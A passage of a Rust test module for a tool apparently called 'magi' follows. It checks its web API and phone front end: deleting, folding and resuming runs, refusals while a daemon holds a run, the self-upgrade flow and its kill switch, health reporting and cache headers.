7744 state.status = RunStatus::Merged;
7745 state.candidates.push(crate::run::Candidate {
7746 index: 0,
7747 label: 'A',
7748 agent: "a".to_owned(),
7749 branch: "b".to_owned(),
7750 worktree: PathBuf::from("/w"),
7751 summary: String::new(),
7752 stat: String::new(),
7753 files: 1,
7754 commits: 1,
7755 empty: false,
7756 failed: None,
7757 duration_ms: 0,
7758 folded: true,
7759 });
7760 let dir = runs.join(run_id);
7761 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7762 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7763 .expect("write artifact");
7764 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7765 .expect("write run.json");
7766
7767 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7769 assert_eq!(res.status, 204);
7770 assert!(res.body.is_empty(), "204 has no body");
7771 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7772
7773 let run_running = "20260901-000000-rung";
7778 write_run(&runs, run_running, RunStatus::Prep);
7779 let mut beat = crate::daemon::Status::new();
7780 beat.current = vec![crate::daemon::Current {
7781 task: "20260901-000000-task".to_owned(),
7782 run: run_running.to_owned(),
7783 }];
7784 beat.updated_at = jiff::Timestamp::now();
7785 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7786 .expect("publish a heartbeat");
7787 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7788 assert_eq!(res.status, 409);
7789 assert!(
7790 res.json()["error"]
7791 .as_str()
7792 .unwrap()
7793 .contains("live daemon"),
7794 "the refusal must say who is holding it"
7795 );
7796 assert!(
7797 runs.join(run_running).exists(),
7798 "a run in flight keeps its directory"
7799 );
7800
7801 let run_unfolded = "20260901-000000-unfd";
7803 let mut state2 = RunState::new(
7804 PathBuf::from("/repo"),
7805 "main".to_owned(),
7806 "abc".to_owned(),
7807 "instruction".to_owned(),
7808 Config::default(),
7809 );
7810 state2.id = run_unfolded.to_owned();
7811 state2.status = RunStatus::Ready;
7812 state2.candidates.push(crate::run::Candidate {
7813 index: 0,
7814 label: 'A',
7815 agent: "a".to_owned(),
7816 branch: "b".to_owned(),
7817 worktree: PathBuf::from("/w"),
7818 summary: String::new(),
7819 stat: String::new(),
7820 files: 1,
7821 commits: 1,
7822 empty: false,
7823 failed: None,
7824 duration_ms: 0,
7825 folded: false,
7826 });
7827 let dir2 = runs.join(run_unfolded);
7828 std::fs::create_dir_all(&dir2).expect("create dir2");
7829 std::fs::write(
7830 dir2.join("run.json"),
7831 serde_json::to_string(&state2).unwrap(),
7832 )
7833 .expect("write run.json");
7834
7835 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7836 assert_eq!(res.status, 409);
7837 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7838 assert!(dir2.exists(), "unfolded run directory is kept");
7839
7840 let res = fx.delete("/api/runs/nonexistent").await;
7842 assert_eq!(res.status, 404);
7843 }
7844
7845 #[test]
7846 fn web_ui_delete_contract_in_front_end() {
7847 assert!(APP_JS.contains("deleteRun:"));
7849 assert!(APP_JS.contains("deleteTask:"));
7850
7851 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7853 ..APP_JS.find("function renderRuns").unwrap()];
7854 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7855
7856 assert!(APP_JS.contains("renderRunDelete"));
7858 assert!(APP_JS.contains("runDeleteReason"));
7859 assert!(APP_JS.contains("magi fold"));
7860 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7861
7862 assert!(APP_JS.contains("cancel.focus"));
7864 assert!(APP_JS.contains("armedRunDelete"));
7865 assert!(APP_JS.contains("armedDelete"));
7866
7867 assert!(APP_JS.contains("disabled: status === \"running\""));
7869 }
7870
7871 #[test]
7891 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7892 let build = APP_JS
7893 .find("function createRunCard")
7894 .expect("createRunCard exists");
7895 let update = APP_JS
7896 .find("function updateRunCard")
7897 .expect("updateRunCard exists");
7898 let end = APP_JS
7899 .find("function renderRuns")
7900 .expect("renderRuns exists");
7901
7902 let builder = &APP_JS[build..update];
7904 let open = builder.find("refs = {").expect("createRunCard sets refs");
7905 let literal = &builder[open + "refs = {".len()..];
7906 let close = literal.find('}').expect("the refs literal is closed");
7907 let published: HashSet<&str> = literal[..close]
7908 .split(',')
7909 .filter_map(|entry| entry.split(':').next())
7911 .map(str::trim)
7912 .filter(|name| !name.is_empty())
7913 .collect();
7914 assert!(
7915 published.len() > 5,
7916 "the refs literal did not parse into names: {published:?}"
7917 );
7918
7919 let mut used: Vec<&str> = Vec::new();
7922 let updaters = &APP_JS[update..end];
7923 for (at, _) in updaters.match_indices("r.") {
7924 let before = updaters[..at].chars().next_back();
7927 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7928 continue;
7929 }
7930 let rest = &updaters[at + 2..];
7931 let len = rest
7932 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7933 .unwrap_or(rest.len());
7934 if len > 0 {
7935 used.push(&rest[..len]);
7936 }
7937 }
7938 assert!(
7939 used.len() > 5,
7940 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7941 );
7942
7943 let missing: Vec<&str> = used
7944 .iter()
7945 .copied()
7946 .filter(|name| !published.contains(name))
7947 .collect();
7948 assert!(
7949 missing.is_empty(),
7950 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7951 never put in `refs` - every card will throw and the list will \
7952 render empty under a count line that says otherwise. Published: \
7953 {published:?}"
7954 );
7955 }
7956
7957 #[tokio::test]
7958 async fn folding_from_the_phone_reports_what_it_removed() {
7959 let fx = Fixture::start().await;
7960 let runs = fx.runs();
7961
7962 let id = "20260901-000000-fold";
7966 write_run(&runs, id, RunStatus::Stalled);
7967 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7968 assert_eq!(res.status, 200);
7969 assert_eq!(res.json()["removed_count"], 0);
7970 assert_eq!(res.json()["run"], id);
7971 assert!(
7972 runs.join(id).exists(),
7973 "a fold keeps the run's record; only the worktrees go"
7974 );
7975 }
7976
7977 #[tokio::test]
7978 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7979 let fx = Fixture::start().await;
7980 let runs = fx.runs();
7981 let wt = fx.home.path().join("wt").join("magi").join("dead");
7982 let id = "20260901-000000-dead";
7983 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7984 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7985 std::fs::create_dir_all(&wt).expect("worktree dir");
7986
7987 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7988 assert_eq!(res.status, 200, "{}", res.body);
7989 assert!(
7990 res.json()["removed_count"].as_u64().unwrap() > 0,
7991 "the worktree this build could not read a state for still went"
7992 );
7993 assert!(
7994 !runs.join(id).exists(),
7995 "an unreadable run has no candidate list to fold selectively, so \
7996 the whole record goes - same as `magi fold` on the CLI"
7997 );
7998 }
7999
8000 #[tokio::test]
8001 async fn deleting_an_unreadable_run_removes_it_wholesale() {
8002 let fx = Fixture::start().await;
8003 let runs = fx.runs();
8004 let wt = fx.home.path().join("wt").join("magi").join("gone");
8005 let id = "20260901-000000-gone";
8006 std::fs::create_dir_all(runs.join(id)).expect("run dir");
8007 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8008 std::fs::create_dir_all(&wt).expect("worktree dir");
8009
8010 let res = fx.delete(&format!("/api/runs/{id}")).await;
8011 assert_eq!(res.status, 204, "{}", res.body);
8012 assert!(!runs.join(id).exists(), "the broken record is gone");
8013 assert!(!wt.exists(), "its worktree is gone too");
8014 }
8015
8016 #[tokio::test]
8017 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
8018 let fx = Fixture::start().await;
8019 let runs = fx.runs();
8020 let id = "20260901-000000-live";
8021 write_run(&runs, id, RunStatus::Implementing);
8022
8023 let mut beat = crate::daemon::Status::new();
8024 beat.current = vec![crate::daemon::Current {
8025 task: "20260901-000000-task".to_owned(),
8026 run: id.to_owned(),
8027 }];
8028 beat.updated_at = jiff::Timestamp::now();
8029 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8030 .expect("publish a heartbeat");
8031
8032 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8033 assert_eq!(res.status, 409);
8034 assert!(
8035 res.json()["error"]
8036 .as_str()
8037 .unwrap()
8038 .contains("live daemon"),
8039 "folding under a running agent would pull its worktree away"
8040 );
8041 }
8042
8043 #[tokio::test]
8044 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
8045 let fx = Fixture::start().await;
8046 let runs = fx.runs();
8047
8048 for (status, word) in [
8054 (RunStatus::Merged, "merged"),
8055 (RunStatus::Ready, "ready"),
8056 (RunStatus::Failed, "failed"),
8057 ] {
8058 let id = format!("20260901-000000-{}", &word[..4]);
8059 write_run(&runs, &id, status);
8060 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8061 assert_eq!(res.status, 409, "{word} must not be resumable");
8062 let err = res.json()["error"].as_str().unwrap().to_owned();
8063 assert!(err.contains(word), "the refusal names the status: {err}");
8064 }
8065
8066 let mid = "20260901-000000-midf";
8071 write_run(&runs, mid, RunStatus::Reviewing);
8072 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8073 assert_eq!(res.status, 202, "an interrupted run is resumable");
8074 }
8075
8076 #[tokio::test]
8077 async fn resume_is_refused_while_the_loop_is_running() {
8078 let fx = Fixture::start().await;
8079 let runs = fx.runs();
8080 let stalled = "20260901-000000-stal";
8081 write_run(&runs, stalled, RunStatus::Stalled);
8082
8083 let mut beat = crate::daemon::Status::new();
8087 beat.current = vec![crate::daemon::Current {
8088 task: "20260901-000000-task".to_owned(),
8089 run: "20260901-000000-othr".to_owned(),
8090 }];
8091 beat.updated_at = jiff::Timestamp::now();
8092 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8093 .expect("publish a heartbeat");
8094
8095 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8096 assert_eq!(res.status, 409);
8097 let err = res.json()["error"].as_str().unwrap().to_owned();
8098 assert!(err.contains("othr"), "it names what the loop is on: {err}");
8099 assert!(err.contains("stop it first"), "{err}");
8100 }
8101
8102 #[test]
8103 fn a_run_cannot_be_resumed_twice_at_once() {
8104 let home = TempDir::new().expect("temp home");
8105 let ui = Ui::new(
8106 Queue::at(home.path().join("queue")),
8107 Questions::at(home.path().join("questions")),
8108 Chats::at(home.path().join("chats")),
8109 Talks::at(home.path().join("talks")),
8110 home.path().join("runs"),
8111 home.path().to_path_buf(),
8112 PathBuf::from("/repo"),
8113 )
8114 .with_worktrees_root(home.path().join("wt"));
8115 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8116 let again = ui.begin_resume("20260901-000000-once");
8117 assert!(again.is_err(), "a second tap must not start a second graph");
8118 drop(first);
8119 assert!(
8120 ui.begin_resume("20260901-000000-once").is_ok(),
8121 "and the claim is released when the attempt ends"
8122 );
8123 }
8124
8125 #[test]
8126 fn refreshing_a_conversation_never_navigates_to_it() {
8127 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
8134 ..APP_JS.find("async function startChat(").expect("startChat")];
8135 assert!(
8136 !body.contains("state.chatDetail = {"),
8137 "loadChat must not decide which conversation is on screen: {body}"
8138 );
8139 assert!(
8140 body.contains("if (state.chatDetail.id !== id) return;"),
8141 "it returns instead of drawing a chat the operator is not reading"
8142 );
8143
8144 assert!(
8148 body.find("trackIfThinking(chat)")
8149 < body.find("if (state.chatDetail.id !== id) return;"),
8150 "settle the wait before the on-screen check"
8151 );
8152
8153 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
8155 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
8156 }
8157
8158 #[tokio::test]
8159 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8160 let fx = Fixture::start().await;
8161 let mut beat = crate::daemon::Status::new();
8165 beat.pid = 4321;
8166 beat.updated_at = jiff::Timestamp::now();
8167 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8168 .expect("publish a heartbeat");
8169
8170 let res = fx.post("/api/upgrade", None).await;
8171 assert_eq!(res.status, 409);
8172 let err = res.json()["error"].as_str().unwrap().to_owned();
8173 assert!(err.contains("4321"), "the refusal names the owner: {err}");
8174 assert!(err.contains("old one against the same queue"), "{err}");
8175 }
8176
8177 #[test]
8184 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8185 assert!(!should_spawn_recheck(&crate::config::Update {
8186 mode: UpdateMode::Off,
8187 interval: None,
8188 }));
8189
8190 unsafe {
8193 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8194 }
8195 let killed = should_spawn_recheck(&crate::config::Update {
8196 mode: UpdateMode::Notify,
8197 interval: None,
8198 });
8199 unsafe {
8200 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8201 }
8202 assert!(
8203 !killed,
8204 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8205 one-time startup check"
8206 );
8207
8208 assert!(should_spawn_recheck(&crate::config::Update {
8209 mode: UpdateMode::Notify,
8210 interval: None,
8211 }));
8212 }
8213
8214 #[test]
8220 fn recheck_poll_period_tracks_a_short_configured_interval() {
8221 let short = crate::config::Update {
8222 mode: UpdateMode::Notify,
8223 interval: Some("1m".to_owned()),
8224 };
8225 let period = recheck_poll_period(&short);
8226 assert!(
8227 period <= Duration::from_secs(30),
8228 "a one-minute interval must wake the task far sooner than the \
8229 default ceiling, or the deck would not notice within the \
8230 interval the operator configured: got {period:?}"
8231 );
8232
8233 let default = crate::config::Update {
8234 mode: UpdateMode::Notify,
8235 interval: None,
8236 };
8237 assert_eq!(
8238 recheck_poll_period(&default),
8239 UPDATE_RECHECK_POLL_MAX,
8240 "the default day-long interval should poll at the (capped) \
8241 ceiling rather than needlessly often"
8242 );
8243 }
8244
8245 #[test]
8253 fn recheck_skips_the_network_before_the_interval_elapses() {
8254 let dir = TempDir::new().expect("temp dir");
8255 let path = dir.path().join("state.json");
8256 let state = kaishin::UpdateCheckState {
8257 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8258 last_known_latest: None,
8259 last_known_url: None,
8260 };
8261 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8262
8263 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8264 assert!(
8265 !update_recheck_due(&checker, None),
8266 "a check made moments ago must not be repeated before the \
8267 configured interval elapses"
8268 );
8269 }
8270
8271 #[test]
8277 fn recheck_defers_to_an_upgrade_already_in_flight() {
8278 let dir = TempDir::new().expect("temp dir");
8279 let path = dir.path().join("state.json");
8280 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8281 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8282
8283 assert!(
8284 !update_recheck_due(&checker, Some(&progress)),
8285 "a recheck must not run while an upgrade this deck started is \
8286 still moving"
8287 );
8288 }
8289
8290 #[tokio::test]
8291 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8292 unsafe {
8304 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8305 }
8306 let fx = Fixture::start().await;
8307 let res = fx.post("/api/upgrade", None).await;
8308 unsafe {
8309 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8310 }
8311 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8312 let body = res.json();
8313 assert!(body["to"].is_null(), "there was no release to move to");
8314 assert!(body["parked"].is_null(), "and nothing was parked");
8315 assert!(
8316 body["detail"]
8317 .as_str()
8318 .unwrap()
8319 .contains("disabled by MAGI_NO_AUTOUPDATE"),
8320 "{body:?}"
8321 );
8322 }
8323
8324 #[tokio::test]
8325 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8326 let repo = TempDir::new().expect("repo dir");
8342 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8343 .expect("write magi.toml");
8344 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8345
8346 let res = fx.post("/api/upgrade", None).await;
8352 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8353 let body = res.json();
8354 assert!(body["to"].is_null(), "there was no release to move to");
8355 assert!(body["parked"].is_null(), "and nothing was parked");
8356 assert!(
8357 body["detail"]
8358 .as_str()
8359 .unwrap()
8360 .contains("nothing restarted"),
8361 "{body:?}"
8362 );
8363 }
8364
8365 #[tokio::test]
8366 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8367 let repo = TempDir::new().expect("repo dir");
8372 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8373 .expect("write magi.toml");
8374 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8375
8376 let health = fx.get("/api/health").await.json();
8377 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8378 assert_eq!(
8379 health["update"]["available"], false,
8380 "checking is off, which reads as \"unknown\", not \"none\""
8381 );
8382 assert!(health["update"]["to"].is_null());
8383 assert!(
8384 health["upgrade"].is_null(),
8385 "nothing has ever asked this deck to upgrade"
8386 );
8387 }
8388
8389 #[tokio::test]
8390 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8391 let fx = Fixture::start().await;
8392 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8393
8394 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8395 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8396 progress.advance(crate::updater::Stage::Parking);
8397 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8398
8399 let health = fx.get("/api/health").await.json();
8400 assert_eq!(health["upgrade"]["stage"], "parking");
8401 assert_eq!(health["upgrade"]["from"], "0.5.1");
8402 assert_eq!(health["upgrade"]["to"], "0.5.2");
8403 let waiting_on = health["upgrade"]["waiting_on"]
8404 .as_str()
8405 .expect("waiting_on is set while parking a known run");
8406 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8407 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8408 }
8409
8410 #[tokio::test]
8411 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8412 let fx = Fixture::start().await;
8413 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8414 progress.advance(crate::updater::Stage::Done);
8415 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8416
8417 let health = fx.get("/api/health").await.json();
8418 assert_eq!(health["upgrade"]["stage"], "done");
8419 assert!(
8420 health["upgrade"]["waiting_on"].is_null(),
8421 "nothing to wait on once it is done"
8422 );
8423 }
8424
8425 #[tokio::test]
8426 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8427 let home = TempDir::new().expect("temp home");
8428 let runs = home.path().join("runs");
8429 std::fs::create_dir_all(&runs).expect("runs dir");
8430 let ui = Ui::new(
8431 Queue::at(home.path().join("queue")),
8432 Questions::at(home.path().join("questions")),
8433 Chats::at(home.path().join("chats")),
8434 Talks::at(home.path().join("talks")),
8435 runs,
8436 home.path().to_path_buf(),
8437 PathBuf::from("/repo/magi"),
8438 )
8439 .with_launch(launch_idle);
8440 let looping = ui.looping();
8441 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8442 .await
8443 .expect("bind loopback");
8444 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8445
8446 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8447 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8448
8449 hand_over(home.path(), &looping, served, || Ok(()))
8450 .await
8451 .expect("hand over");
8452
8453 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8454 assert_eq!(
8455 after.stage,
8456 crate::updater::Stage::Restarting,
8457 "hand_over owns the record through parking and up to restarting; \
8458 the successor is what finishes it"
8459 );
8460 }
8461
8462 #[test]
8463 fn the_upgrade_button_arms_before_it_restarts_anything() {
8464 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8467 assert!(APP_JS.contains("Replace the binary and restart?"));
8468 assert!(APP_JS.contains("function confirmed("));
8469 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8474 assert!(
8478 APP_JS.contains("Parking, then restarting"),
8479 "the button says what it is waiting for"
8480 );
8481 assert!(APP_JS.contains("if (!out.to)"));
8484 }
8485
8486 #[test]
8487 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8488 assert!(
8489 APP_JS.contains("state.health.version"),
8490 "the operator wants to know what is running even with nothing newer"
8491 );
8492 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8493 }
8494
8495 #[test]
8496 fn the_upgrade_button_names_its_destination() {
8497 assert!(
8498 APP_JS.contains("`Update to ${update.to}`"),
8499 "pressing the button should not be a surprise about what it moves to"
8500 );
8501 }
8502
8503 #[test]
8504 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8505 for stage in ["downloading", "replaced", "parking", "restarting"] {
8506 assert!(
8507 APP_JS.contains(&format!("\"{stage}\"")),
8508 "the phone must be able to tell {stage} apart from the others"
8509 );
8510 }
8511 assert!(APP_JS.contains(".waiting_on"));
8512 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8517 assert!(APP_JS.contains("reconnects on its own"));
8518 }
8519
8520 #[test]
8521 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8522 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8531 ..APP_JS.find("function upgrade(").expect("upgrade")];
8532 assert!(
8533 !body.contains(
8534 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8535 ),
8536 "a failed upgrade must not take the whole strip over the way it used to"
8537 );
8538 assert!(
8539 body.contains("upgradeFailNote"),
8540 "the failure has to reach the loop's own note instead"
8541 );
8542 assert_eq!(
8546 body.matches("upgradeFailNote].filter(Boolean).join")
8547 .count(),
8548 2,
8549 "both loop-why writers (quiet and control) must fold the note in"
8550 );
8551 }
8552
8553 #[test]
8554 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8555 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8558 assert!(APP_JS.contains("function upgradeOverdue("));
8559 }
8560
8561 #[test]
8562 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8563 assert!(
8564 APP_JS.contains("Updated to ${upgradeInfo.to"),
8565 "the operator who asked for the restart wants to know it worked"
8566 );
8567 }
8568
8569 #[test]
8570 fn an_error_is_visible_from_where_the_button_is() {
8571 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8576 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8577 assert!(
8578 alert.contains("position: fixed"),
8579 "an error about the thing under your thumb has to be visible from \
8580 where your thumb is: {alert}"
8581 );
8582 assert!(
8583 alert.contains("z-index: 25"),
8584 "above the dock (20) and the run-actions FAB (15), so neither \
8585 buries it: {alert}"
8586 );
8587 assert!(
8588 alert.contains("var(--tap)"),
8589 "and clear of the dock and the home indicator: {alert}"
8590 );
8591 assert!(
8594 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8595 "the FAB's column stays free: {alert}"
8596 );
8597 }
8598
8599 #[tokio::test]
8600 async fn an_older_attempt_says_what_replaced_it() {
8601 let fx = Fixture::start().await;
8602 let q = fx.queue();
8603 let runs = fx.runs();
8604 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8605 write_run(&runs, first, RunStatus::Stalled);
8606 write_run(&runs, second, RunStatus::Blocked);
8607
8608 let mut t = Task::new(
8609 "one task".to_owned(),
8610 "do it".to_owned(),
8611 PathBuf::from("/repo"),
8612 Source::Human,
8613 );
8614 t.runs = vec![first.to_owned(), second.to_owned()];
8615 q.put(&mut t).expect("put");
8616
8617 let rows = fx.get("/api/runs").await.json();
8621 let by = |short: &str| -> Value {
8622 rows.as_array()
8623 .unwrap()
8624 .iter()
8625 .find(|r| r["short"] == short)
8626 .cloned()
8627 .unwrap_or(Value::Null)
8628 };
8629 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8630 assert!(
8631 by("bbbb")["superseded_by"].is_null(),
8632 "the latest attempt is not superseded by anything"
8633 );
8634 assert!(APP_JS.contains("run.superseded_by"));
8636 assert!(APP_JS.contains("Superseded by"));
8637 }
8638
8639 #[tokio::test]
8640 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8641 let fx = Fixture::start().await;
8642 let js = fx.get("/app.js").await;
8648 assert_eq!(js.status, 200);
8649 let tag = js
8650 .header("etag")
8651 .expect("an etag to revalidate against")
8652 .to_owned();
8653 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8654 assert_eq!(
8655 js.header("cache-control"),
8656 Some("no-cache, must-revalidate"),
8657 "the phone has to ask every time"
8658 );
8659
8660 let again = fx
8663 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8664 .await;
8665 assert_eq!(
8666 again.status, 304,
8667 "a deck it already has costs one round trip"
8668 );
8669 assert!(again.body.is_empty(), "304 carries no body");
8670
8671 let weak = fx
8674 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8675 .await;
8676 assert_eq!(weak.status, 304);
8677 let stale = fx
8678 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8679 .await;
8680 assert_eq!(stale.status, 200, "an older build must be replaced");
8681 assert!(stale.body.contains("renderRunActions"));
8682 }
8683
8684 #[test]
8685 fn the_deck_never_sends_the_operator_to_a_terminal() {
8686 assert!(
8689 !APP_JS.contains("Run `magi fold` first"),
8690 "the deck must offer the fold, not prescribe a shell command"
8691 );
8692 assert!(APP_JS.contains("foldRun:"));
8693 assert!(APP_JS.contains("resumeRun:"));
8694 assert!(APP_JS.contains("renderRunActions"));
8695
8696 assert!(APP_JS.contains("armedFold"));
8698 assert!(APP_JS.contains("Yes, fold worktrees"));
8699
8700 assert!(APP_JS.contains("can no longer be resumed"));
8703 }
8704
8705 #[test]
8706 fn a_finished_run_explains_itself_with_its_own_last_line() {
8707 assert!(
8713 !APP_JS.contains("collapsed on agent quota"),
8714 "a stall must not be explained by a cause the deck did not check"
8715 );
8716 assert!(
8717 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8718 "and a block must not offer a guess with an `or` in it"
8719 );
8720
8721 assert!(
8725 APP_JS.contains("setText(r.event, run.event || \"\")"),
8726 "the run's last line is rendered unconditionally"
8727 );
8728 assert!(
8729 !APP_JS.contains("moving && run.event"),
8730 "and never gated on the run still moving"
8731 );
8732
8733 assert!(APP_JS.contains("lost to quota"));
8735 }
8736}